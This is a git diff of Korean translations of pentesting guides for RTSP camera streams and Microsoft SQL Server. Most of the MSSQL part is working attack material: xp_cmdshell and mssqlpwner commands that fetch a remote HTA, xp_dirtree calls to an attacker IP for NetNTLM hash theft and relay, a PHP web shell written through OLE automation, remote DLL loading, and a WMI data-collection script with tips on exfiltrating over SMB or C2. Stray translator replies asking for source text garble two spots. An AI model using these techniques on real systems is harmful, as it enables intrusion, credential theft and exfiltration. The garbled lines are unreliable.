> The **Real Time Streaming Protocol** (**RTSP**)는 스트리밍 미디어 서버를 제어하기 위해 엔터테인먼트 및 통신 시스템에서 사용하도록 설계된 네트워크 제어 프로토콜입니다. 이 프로토콜은 엔드 포인트 간의 미디어 세션을 설정하고 제어하는 데 사용됩니다. 미디어 서버의 클라이언트는 서버에서 클라이언트로의 미디어 스트리밍(주문형 비디오) 또는 클라이언트에서 서버로의 미디어 스트리밍(음성 녹음)을 실시간으로 제어하기 위해 재생, 녹화 및 일시 정지와 같은 VHS 스타일의 명령을 발행합니다.
|
||||
> **Real Time Streaming Protocol** (**RTSP**)는 엔터테인먼트 및 통신 시스템에서 스트리밍 미디어 서버를 제어하기 위해 사용하도록 설계된 네트워크 제어 프로토콜이다. 이 프로토콜은 종단 간 미디어 세션을 설정하고 제어하는 데 사용된다. 미디어 서버의 클라이언트는 VHS 스타일 명령(예: 재생, 녹화, 일시정지)을 발행하여 서버에서 클라이언트로의 미디어 스트리밍(Video On Demand) 또는 클라이언트에서 서버로의 스트리밍(Voice Recording)을 실시간으로 제어할 수 있게 한다.
|
||||
>
|
||||
> 스트리밍 데이터 전송 자체는 RTSP의 작업이 아닙니다. 대부분의 RTSP 서버는 미디어 스트림 전송을 위해 실시간 전송 프로토콜(RTP)과 실시간 제어 프로토콜(RTCP)을 함께 사용합니다. 그러나 일부 공급업체는 독점적인 전송 프로토콜을 구현합니다. 예를 들어, RealNetworks의 RTSP 서버 소프트웨어는 RealNetworks의 독점적인 Real Data Transport(RDT)도 사용합니다.
|
||||
> 스트리밍 데이터 자체의 전송은 RTSP의 역할이 아니다. 대부분의 RTSP 서버는 미디어 스트림 전달을 위해 Real-time Transport Protocol (RTP)과 Real-time Control Protocol (RTCP)을 함께 사용한다. 그러나 일부 벤더는 독점 전송 프로토콜을 구현하기도 한다. 예를 들어 RealNetworks의 RTSP 서버 소프트웨어는 RealNetworks의 독점 프로토콜인 Real Data Transport (RDT)를 사용하기도 했다.
|
||||
|
||||
**기본 포트:** 554,8554
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
554/tcp open rtsp
|
||||
```
|
||||
## Key Details
|
||||
## 주요 사항
|
||||
|
||||
**RTSP**는 HTTP와 유사하지만 미디어 스트리밍을 위해 특별히 설계되었습니다. 이는 여기에서 찾을 수 있는 간단한 사양으로 정의됩니다:
|
||||
**RTSP**는 **HTTP**와 유사하지만 미디어 스트리밍 전용으로 설계되었습니다. 명확한 사양은 다음에서 확인할 수 있습니다:
|
||||
|
||||
[RTSP – RFC2326](https://tools.ietf.org/html/rfc2326)
|
||||
|
||||
장치는 **인증되지 않은** 또는 **인증된** 액세스를 허용할 수 있습니다. 확인하기 위해 "DESCRIBE" 요청이 전송됩니다. 기본 예시는 아래와 같습니다:
|
||||
장치에 따라 **unauthenticated** 또는 **authenticated** 접근을 허용할 수 있습니다. 확인하려면 "DESCRIBE" 요청을 보냅니다. 기본 예시는 아래와 같습니다:
|
||||
|
||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2`
|
||||
|
||||
올바른 형식은 일관된 응답을 위해 이중 "\r\n"을 포함해야 합니다. "200 OK" 응답은 **인증되지 않은 액세스**를 나타내고, "401 Unauthorized"는 인증이 필요함을 알리며, **Basic** 또는 **Digest authentication**이 필요한지를 드러냅니다.
|
||||
정확한 포맷은 일관된 응답을 위해 이중 "\r\n"을 포함해야 합니다. "200 OK" 응답은 **unauthenticated access**를 의미하고, "401 Unauthorized"는 인증이 필요함을 나타내며 **Basic** 또는 **Digest authentication** 중 어떤 방식이 요구되는지 알려줍니다.
|
||||
|
||||
**Basic authentication**의 경우, 사용자 이름과 비밀번호를 base64로 인코딩하고 요청에 다음과 같이 포함합니다:
|
||||
**Basic authentication**의 경우 사용자명과 비밀번호를 base64로 인코딩해 다음과 같이 요청에 포함합니다:
|
||||
|
||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==`
|
||||
|
||||
이 예시는 자격 증명으로 "admin"과 "1234"를 사용합니다. 다음은 그러한 요청을 보내기 위한 **Python 스크립트**입니다:
|
||||
이 예에서는 자격증명으로 "admin"과 "1234"를 사용합니다. 다음은 해당 요청을 전송하는 **Python script**입니다:
|
||||
```python
|
||||
import socket
|
||||
req = "DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n"
|
||||
@ -41,42 +41,48 @@ s.sendall(req)
|
||||
data = s.recv(1024)
|
||||
print(data)
|
||||
```
|
||||
**기본 인증**은 더 간단하고 선호됩니다. **다이제스트 인증**은 "401 Unauthorized" 응답에 제공된 인증 세부정보를 신중하게 처리해야 합니다.
|
||||
**Basic authentication**이 더 간단하며 선호됩니다. **Digest authentication**은 "401 Unauthorized" 응답에 제공된 인증 세부 정보를 주의 깊게 처리해야 합니다.
|
||||
|
||||
이 개요는 RTSP 스트림에 접근하는 과정을 단순화하며, 초기 시도에서의 단순성과 실용성을 위해 **기본 인증**에 중점을 둡니다.
|
||||
이 개요는 RTSP 스트림에 접근하는 과정을 단순화하여 초기 시도에서 그 단순성과 실용성 때문에 **Basic authentication**에 중점을 둡니다.
|
||||
|
||||
## 열거
|
||||
## Enumeration
|
||||
|
||||
유효한 방법과 지원되는 URL에 대한 정보를 얻고, 필요한 경우 콘텐츠에 접근하기 위해 무차별 대입 공격을 시도해 봅시다.
|
||||
유효한 methods와 지원되는 URLs에 대한 정보를 수집하고, 필요한 경우 콘텐츠 접근을 위해 brute-force를 시도해 봅시다.
|
||||
```bash
|
||||
nmap -sV --script "rtsp-*" -p <PORT> <IP>
|
||||
```
|
||||
#### [ffplay](https://ffmpeg.org/ffplay.html)로 RTSP 스트림 보기
|
||||
유효한 RTSP 경로(예: `/mpeg4`, `/live.sdp`)를 발견하고 접근을 확인한 후(인증되지 않거나 자격 증명으로), `ffplay`를 사용하여 피드를 스트리밍할 수 있습니다:
|
||||
유효한 RTSP 경로(예: `/mpeg4`, `/live.sdp`)를 발견하고 접근(인증 없음 또는 자격 증명 사용)을 확인했다면, `ffplay`를 사용해 스트림을 재생할 수 있습니다:
|
||||
```bash
|
||||
ffplay -rtsp_transport tcp rtsp://<IP>/mpeg4 -x 2560 -y 1440
|
||||
```
|
||||
- `-rtsp_transport tcp`: 더 신뢰할 수 있는 스트리밍을 위해 UDP 대신 TCP 사용
|
||||
- `-x`, `-y`: 비디오 해상도를 제어하는 선택적 플래그
|
||||
- 필요에 따라 `<IP>` 및 경로를 교체
|
||||
- 필요에 따라 `<IP>` 및 경로를 교체하세요
|
||||
|
||||
### [Brute Force](../generic-hacking/brute-force.md#rtsp)
|
||||
|
||||
### **기타 유용한 프로그램들**
|
||||
### **기타 유용한 프로그램**
|
||||
|
||||
브루트포스용: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
|
||||
To bruteforce: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
|
||||
|
||||
[**Cameradar**](https://github.com/Ullaakut/cameradar)
|
||||
|
||||
- 접근 가능한 대상에서 열린 RTSP 호스트 감지
|
||||
- 그들의 공개 정보(호스트 이름, 포트, 카메라 모델 등) 가져오기
|
||||
- 스트림 경로를 얻기 위해 자동화된 사전 공격 시작 (예: /live.sdp)
|
||||
- 카메라의 사용자 이름과 비밀번호를 얻기 위해 자동화된 사전 공격 시작
|
||||
- 스트림이 유효한지 확인하고 콘텐츠의 빠른 미리보기를 위해 썸네일 생성
|
||||
- 제대로 인코딩되었는지 확인하기 위해 Gstreamer 파이프라인 생성 시도
|
||||
- Cameradar가 얻을 수 있는 모든 정보의 요약 인쇄
|
||||
- 접근 가능한 대상에서 열린 RTSP 호스트를 탐지
|
||||
- 공개 정보(hostname, port, camera model 등) 획득
|
||||
- 스트림 경로(예: /live.sdp)를 찾기 위한 자동 사전(dictionary) 공격 실행
|
||||
- 카메라의 username 및 password를 얻기 위한 자동 사전 공격 실행
|
||||
- 스트림이 유효한지 확인하고 빠르게 내용을 미리보기할 수 있도록 썸네일 생성
|
||||
- 올바르게 인코딩되었는지 확인하기 위해 Gstreamer 파이프라인 생성 시도
|
||||
- Cameradar가 얻을 수 있는 모든 정보의 요약 출력
|
||||
|
||||
## References
|
||||
### See also
|
||||
|
||||
{{#ref}}
|
||||
32100-udp-pentesting-pppp-cs2-p2p-cameras.md
|
||||
{{#endref}}
|
||||
|
||||
## 참고 자료
|
||||
|
||||
- [https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol)
|
||||
- [http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## 기본 정보
|
||||
|
||||
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
||||
출처 [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
||||
|
||||
> **Microsoft SQL Server**는 Microsoft에서 개발한 **관계형 데이터베이스** 관리 시스템입니다. 데이터베이스 서버로서, 다른 소프트웨어 애플리케이션이 요청한 대로 데이터를 저장하고 검색하는 주요 기능을 가진 소프트웨어 제품입니다. 이 애플리케이션은 동일한 컴퓨터에서 실행되거나 네트워크(인터넷 포함)를 통해 다른 컴퓨터에서 실행될 수 있습니다.
|
||||
> **Microsoft SQL Server**는 Microsoft에서 개발한 **관계형 데이터베이스** 관리 시스템입니다. 데이터베이스 서버로서, 이는 다른 소프트웨어 애플리케이션이 요청하는 대로 데이터를 저장하고 검색하는 것을 주된 기능으로 하는 소프트웨어 제품입니다. 이러한 애플리케이션들은 동일한 컴퓨터에서 실행되거나 네트워크(인터넷 포함)를 통해 다른 컴퓨터에서 실행될 수 있습니다.
|
||||
|
||||
**기본 포트:** 1433
|
||||
```
|
||||
@ -14,25 +14,25 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
||||
```
|
||||
### **기본 MS-SQL 시스템 테이블**
|
||||
|
||||
- **master Database**: 이 데이터베이스는 SQL Server 인스턴스의 모든 시스템 수준 세부정보를 캡처하므로 매우 중요합니다.
|
||||
- **msdb Database**: SQL Server Agent는 이 데이터베이스를 사용하여 경고 및 작업의 일정을 관리합니다.
|
||||
- **model Database**: SQL Server 인스턴스의 모든 새 데이터베이스에 대한 청사진 역할을 하며, 크기, 정렬, 복구 모델 등과 같은 변경 사항이 새로 생성된 데이터베이스에 반영됩니다.
|
||||
- **Resource Database**: SQL Server와 함께 제공되는 시스템 객체를 포함하는 읽기 전용 데이터베이스입니다. 이러한 객체는 Resource 데이터베이스에 물리적으로 저장되지만, 모든 데이터베이스의 sys 스키마에서 논리적으로 표시됩니다.
|
||||
- **tempdb Database**: 일시적인 객체나 중간 결과 집합을 위한 임시 저장 영역으로 사용됩니다.
|
||||
- **master Database**: 이 데이터베이스는 SQL Server 인스턴스의 모든 시스템 수준 정보를 캡처하므로 매우 중요합니다.
|
||||
- **msdb Database**: SQL Server Agent는 경고 및 작업의 스케줄링을 관리하기 위해 이 데이터베이스를 사용합니다.
|
||||
- **model Database**: SQL Server 인스턴스의 모든 새 데이터베이스에 대한 청사진 역할을 하며, 크기, 정렬(collation), 복구 모델(recovery model) 등과 같은 변경 사항이 새로 생성된 데이터베이스에 반영됩니다.
|
||||
- **Resource Database**: SQL Server에 포함된 시스템 객체를 보관하는 읽기 전용 데이터베이스입니다. 이러한 객체들은 물리적으로는 Resource database에 저장되지만, 논리적으로는 각 데이터베이스의 sys schema에 표시됩니다.
|
||||
- **tempdb Database**: 일시적인 객체나 중간 결과 집합을 위한 임시 저장소 역할을 합니다.
|
||||
|
||||
## 열거
|
||||
|
||||
### 자동 열거
|
||||
|
||||
서비스에 대해 아무것도 모르는 경우:
|
||||
If you don't know anything about the service:
|
||||
```bash
|
||||
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
|
||||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||
```
|
||||
> [!TIP]
|
||||
> 자격 증명이 **없는 경우** 추측해 볼 수 있습니다. nmap 또는 metasploit을 사용할 수 있습니다. 주의하세요, 기존 사용자 이름을 사용하여 여러 번 로그인에 실패하면 **계정이 차단**될 수 있습니다.
|
||||
|
||||
#### Metasploit (자격 증명 필요)
|
||||
> 만약 **가지고 있지 않다면** **credentials** 추측해볼 수 있습니다. nmap 또는 metasploit를 사용할 수 있습니다. 주의: 기존 username으로 여러 번 login에 실패하면 **block accounts**될 수 있습니다.
|
||||
|
||||
#### Metasploit (need creds)
|
||||
```bash
|
||||
#Set USERNAME, RHOSTS and PASSWORD
|
||||
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
|
||||
@ -64,7 +64,7 @@ msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
|
||||
#Add new admin user from meterpreter session
|
||||
msf> use windows/manage/mssql_local_auth_bypass
|
||||
```
|
||||
### [**브루트 포스**](../../generic-hacking/brute-force.md#sql-server)
|
||||
### [**Brute force**](../../generic-hacking/brute-force.md#sql-server)
|
||||
|
||||
### 수동 열거
|
||||
|
||||
@ -102,7 +102,7 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
|
||||
1> select 1;
|
||||
2> go
|
||||
```
|
||||
#### 일반 열거
|
||||
#### 공통 열거
|
||||
```sql
|
||||
# Get version
|
||||
select @@version;
|
||||
@ -154,16 +154,16 @@ order by name;
|
||||
EXEC sp_helpuser
|
||||
SELECT * FROM sysusers
|
||||
```
|
||||
#### 권한 가져오기
|
||||
#### 권한 얻기
|
||||
|
||||
1. **Securable:** SQL Server가 접근 제어를 위해 관리하는 리소스로 정의됩니다. 이는 다음과 같이 분류됩니다:
|
||||
- **서버** – 데이터베이스, 로그인, 엔드포인트, 가용성 그룹 및 서버 역할의 예가 포함됩니다.
|
||||
- **데이터베이스** – 데이터베이스 역할, 애플리케이션 역할, 스키마, 인증서, 전체 텍스트 카탈로그 및 사용자의 예가 포함됩니다.
|
||||
- **스키마** – 테이블, 뷰, 프로시저, 함수, 동의어 등을 포함합니다.
|
||||
2. **Permission:** SQL Server securables와 관련된 권한으로, ALTER, CONTROL 및 CREATE와 같은 권한이 주체에게 부여될 수 있습니다. 권한 관리는 두 가지 수준에서 발생합니다:
|
||||
- **서버 수준** 로그인 사용
|
||||
- **데이터베이스 수준** 사용자 사용
|
||||
3. **Principal:** 이 용어는 securable에 대한 권한이 부여된 엔티티를 나타냅니다. 주체는 주로 로그인과 데이터베이스 사용자로 구성됩니다. Securables에 대한 접근 제어는 권한을 부여하거나 거부하거나 로그인 및 사용자를 접근 권한이 있는 역할에 포함시킴으로써 행사됩니다.
|
||||
1. **Securable:** SQL Server가 액세스 제어를 위해 관리하는 리소스입니다. 이는 다음 범주로 나뉩니다:
|
||||
- **Server** – 예: 데이터베이스, 로그인, 엔드포인트, 가용성 그룹, 서버 역할 등.
|
||||
- **Database** – 예: 데이터베이스 역할, 애플리케이션 역할, 스키마, 인증서, 풀텍스트 카탈로그, 사용자 등.
|
||||
- **Schema** – 테이블, 뷰, 프로시저, 함수, 동의어 등 포함.
|
||||
2. **Permission:** SQL Server의 보호 대상에 연관된 권한으로, ALTER, CONTROL, CREATE와 같은 권한을 principal에게 부여할 수 있습니다. 권한 관리는 두 수준에서 이루어집니다:
|
||||
- **Server Level** — 로그인을 사용하여
|
||||
- **Database Level** — 사용자를 사용하여
|
||||
3. **Principal:** 이 용어는 보호 대상에 권한이 부여되는 엔터티를 가리킵니다. Principal은 주로 로그인과 데이터베이스 사용자로 구성됩니다. 보호 대상에 대한 접근 제어는 권한을 부여하거나 거부하거나, 로그인을 및 사용자를 접근 권한이 있는 역할에 포함시키는 방식으로 이루어집니다.
|
||||
```sql
|
||||
# Show all different securables names
|
||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||
@ -183,12 +183,12 @@ SELECT IS_SRVROLEMEMBER('sysadmin');
|
||||
Use master
|
||||
EXEC sp_helprotect 'xp_cmdshell'
|
||||
```
|
||||
## Tricks
|
||||
## 팁
|
||||
|
||||
### OS 명령 실행
|
||||
### Execute OS Commands
|
||||
|
||||
> [!CAUTION]
|
||||
> 명령을 실행할 수 있으려면 **`xp_cmdshell`** **활성화**뿐만 아니라 **`xp_cmdshell` 저장 프로시저에 대한 EXECUTE 권한**도 필요합니다. **`xp_cmdshell`**을 사용할 수 있는 사람(시스템 관리자 제외)을 확인하려면 다음을 사용하세요:
|
||||
> 명령을 실행하려면 **`xp_cmdshell`**가 단순히 활성화되어 있는 것뿐만 아니라 **`xp_cmdshell` 저장 프로시저에 대한 EXECUTE 권한**도 필요하다는 점에 유의하세요. sysadmin을 제외하고 누가 **`xp_cmdshell`**을 사용할 수 있는지는 다음으로 확인할 수 있습니다:
|
||||
>
|
||||
> ```sql
|
||||
> Use master
|
||||
@ -235,13 +235,45 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
|
||||
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
|
||||
```
|
||||
### WMI 기반 원격 SQL 수집 (sqlcmd + CSV export)
|
||||
|
||||
운영자는 IIS/app 계층에서 WMI를 사용해 MSSQL에 인증하고 ad‑hoc queries를 실행하는 작은 배치 파일을 원격으로 실행해 결과를 CSV로 내보내 SQL Servers로 피벗할 수 있습니다. 이렇게 하면 수집이 단순해지고 관리자 활동과 섞여 보입니다.
|
||||
|
||||
예시 mssq.bat
|
||||
```bat
|
||||
@echo off
|
||||
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
|
||||
set S=%1
|
||||
set U=%2
|
||||
set P=%3
|
||||
set Q=%4
|
||||
set O=%5
|
||||
rem Remove headers, trim trailing spaces, CSV separator = comma
|
||||
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"
|
||||
```
|
||||
WMI로 원격에서 실행
|
||||
```cmd
|
||||
wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"
|
||||
```
|
||||
PowerShell 대안
|
||||
```powershell
|
||||
$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
|
||||
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd
|
||||
```
|
||||
참고 사항
|
||||
- sqlcmd이 없을 수 있으므로 osql, PowerShell Invoke-Sqlcmd, 또는 System.Data.SqlClient를 사용하는 one‑liner로 대체하세요.
|
||||
- 따옴표 처리를 주의하세요; 길거나 복잡한 쿼리는 파일로 제공하거나 batch/PowerShell stub 내부에서 디코드되는 Base64‑encoded 인수로 전달하는 것이 더 쉽습니다.
|
||||
- CSV를 SMB를 통해 Exfil 하거나(예: copy from \\SQLHOST\C$\Windows\Temp) 압축하여 C2를 통해 이동하세요.
|
||||
|
||||
|
||||
|
||||
### 해시된 비밀번호 가져오기
|
||||
```bash
|
||||
SELECT * FROM master.sys.syslogins;
|
||||
```
|
||||
### NetNTLM 해시 훔치기 / 릴레이 공격
|
||||
### Steal NetNTLM hash / Relay attack
|
||||
|
||||
인증에 사용되는 해시를 캡처하기 위해 **SMB 서버**를 시작해야 합니다 (`impacket-smbserver` 또는 `responder` 예를 들어).
|
||||
인증에 사용된 hash를 캡처하려면 **SMB server**를 시작해야 합니다 (예: `impacket-smbserver` 또는 `responder`).
|
||||
```bash
|
||||
xp_dirtree '\\<attacker_IP>\any\thing'
|
||||
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
|
||||
@ -265,7 +297,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
|
||||
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
|
||||
```
|
||||
> [!WARNING]
|
||||
> sysadmins 외에 누가 MSSQL 기능을 실행할 수 있는 권한이 있는지 확인하려면 다음을 사용하세요:
|
||||
> 시스템 관리자 이외에 누가 해당 MSSQL 함수들을 실행할 권한이 있는지 확인하려면 다음을 실행하세요:
|
||||
>
|
||||
> ```sql
|
||||
> Use master;
|
||||
@ -274,16 +306,16 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
|
||||
> EXEC sp_helprotect 'xp_fileexist';
|
||||
> ```
|
||||
|
||||
**responder** 또는 **Inveigh**와 같은 도구를 사용하면 **NetNTLM 해시를 훔칠** 수 있습니다.\
|
||||
이 도구를 사용하는 방법은 다음에서 확인할 수 있습니다:
|
||||
Using tools such as **responder** or **Inveigh** it's possible to **steal the NetNTLM hash**.\
|
||||
이러한 도구들 사용 방법은 다음에서 확인할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
### MSSQL 신뢰할 수 있는 링크 악용
|
||||
### MSSQL trusted Links 악용
|
||||
|
||||
[**이 게시물을 읽어보세요**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **이 기능을 악용하는 방법에 대한 더 많은 정보를 찾으세요:**
|
||||
[**Read this post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **이 기능을 악용하는 방법에 대한 자세한 정보는 다음을 참조하세요:**
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
|
||||
@ -291,7 +323,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
|
||||
|
||||
### **파일 쓰기**
|
||||
|
||||
`MSSQL`을 사용하여 파일을 쓰려면 [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)를 **활성화해야** 하며, 이는 관리자 권한이 필요하고, 그런 다음 파일을 생성하기 위해 몇 가지 저장 프로시저를 실행해야 합니다:
|
||||
`MSSQL`을 사용해 파일을 쓰려면 [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)를 활성화해야 합니다(이것은 관리자 권한이 필요하며), 그 다음 파일을 생성하기 위해 몇몇 저장 프로시저를 실행해야 합니다:
|
||||
```bash
|
||||
# Enable Ole Automation Procedures
|
||||
sp_configure 'show advanced options', 1
|
||||
@ -309,9 +341,9 @@ EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"
|
||||
EXECUTE sp_OADestroy @FileID
|
||||
EXECUTE sp_OADestroy @OLE
|
||||
```
|
||||
### **OPENROWSET로 파일 읽기**
|
||||
### **OPENROWSET으로 파일 읽기**
|
||||
|
||||
기본적으로 `MSSQL`은 **계정이 읽기 접근 권한이 있는 운영 체제의 모든 파일에 대한 파일 읽기를 허용**합니다. 다음 SQL 쿼리를 사용할 수 있습니다:
|
||||
기본적으로, `MSSQL`은 계정이 읽기 권한을 가진 운영 체제의 모든 파일에 대한 **파일 읽기**를 허용합니다. 다음 SQL 쿼리를 사용할 수 있습니다:
|
||||
```sql
|
||||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||||
```
|
||||
@ -320,19 +352,19 @@ SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_C
|
||||
# Check if you have it
|
||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
||||
```
|
||||
#### SQLi를 위한 오류 기반 벡터:
|
||||
#### SQLi를 위한 Error-based 벡터:
|
||||
```
|
||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||
```
|
||||
### **RCE/파일 읽기 스크립트 실행 (Python 및 R)**
|
||||
### **RCE/파일 읽기 및 스크립트 실행 (Python and R)**
|
||||
|
||||
MSSQL은 **Python 및/또는 R**에서 **스크립트 실행**을 허용할 수 있습니다. 이 코드는 **xp_cmdshell**을 사용하여 명령을 실행하는 사용자와 **다른 사용자**에 의해 실행됩니다.
|
||||
MSSQL은 **Python and/or R** 스크립트를 실행할 수 있습니다. 이러한 코드는 명령을 실행하기 위해 **xp_cmdshell**을 사용하는 사용자와는 **다른 사용자**로 실행됩니다.
|
||||
|
||||
예시: **'R'** _"Hellow World!"_ **실행되지 않음**:
|
||||
예: **'R'** _"Hellow World!"_ **작동하지 않음**:
|
||||
|
||||
.png>)
|
||||
|
||||
예시: 여러 작업을 수행하기 위해 구성된 Python 사용:
|
||||
설정된 python을 사용해 여러 작업을 수행하는 예:
|
||||
```sql
|
||||
# Print the user being used (and execute commands)
|
||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
||||
@ -348,9 +380,9 @@ GO
|
||||
```
|
||||
### 레지스트리 읽기
|
||||
|
||||
Microsoft SQL Server는 **여러 확장 저장 프로시저**를 제공하여 네트워크뿐만 아니라 파일 시스템 및 [**Windows 레지스트리**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)와도 상호작용할 수 있습니다:
|
||||
Microsoft SQL Server는 네트워크뿐만 아니라 파일 시스템과 심지어 [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**와도 상호작용할 수 있는 **여러 확장 저장 프로시저**를 제공합니다:
|
||||
|
||||
| **일반** | **인스턴스 인식** |
|
||||
| **일반** | **인스턴스 인식** |
|
||||
| --------------------------- | ------------------------------------ |
|
||||
| sys.xp_regread | sys.xp_instance_regread |
|
||||
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
|
||||
@ -371,21 +403,22 @@ Use master;
|
||||
EXEC sp_helprotect 'xp_regread';
|
||||
EXEC sp_helprotect 'xp_regwrite';
|
||||
```
|
||||
더 많은 예시는 [원본 소스](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)를 확인하세요.
|
||||
더 많은 예제는 [**원본 자료**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)를 확인하세요.
|
||||
|
||||
### MSSQL 사용자 정의 함수로 RCE - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
### MSSQL User Defined Function - SQLHttp를 이용한 RCE <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
사용자 정의 함수를 통해 **MSSQL 내에서 .NET dll을 로드하는 것이 가능합니다**. 그러나 이는 **`dbo` 접근이 필요**하므로 데이터베이스에 **`sa` 또는 관리자 역할로 연결해야 합니다**.
|
||||
It's possible to **load a .NET dll within MSSQL with custom functions**. This, however, **requires `dbo` access** so you need a connection with database **as `sa` or an Administrator role**.
|
||||
|
||||
[이 링크를 따라가세요](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) 예제를 확인하세요.
|
||||
[**다음 링크**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp)에서 예제를 확인하세요.
|
||||
|
||||
### `autoadmin_task_agents`로 RCE
|
||||
### RCE with `autoadmin_task_agents`
|
||||
|
||||
[이 게시물에 따르면](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), 원격 dll을 로드하고 MSSQL이 이를 실행하도록 만드는 것도 가능합니다.
|
||||
이 [**게시물**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)에 따르면, 원격 .dll을 로드해 MSSQL이 이를 실행하도록 하는 것도 가능합니다:
|
||||
```sql
|
||||
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
|
||||
```
|
||||
번역할 내용이 없습니다. 추가할 내용을 제공해 주시면 번역해 드리겠습니다.
|
||||
번역할 원문 내용을 붙여 넣어 주세요.
|
||||
(src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md 전체 또는 번역할 부분을 제공하시면, Markdown/HTML 태그·링크·경로·코드·기법명 등은 그대로 유지하면서 영어를 한국어로 정확하고 간결하게 번역해 드리겠습니다.)
|
||||
```csharp
|
||||
using Microsoft.SqlServer.SmartAdmin;
|
||||
using System;
|
||||
@ -437,13 +470,13 @@ public void Test()
|
||||
```
|
||||
### RCE를 위한 다른 방법
|
||||
|
||||
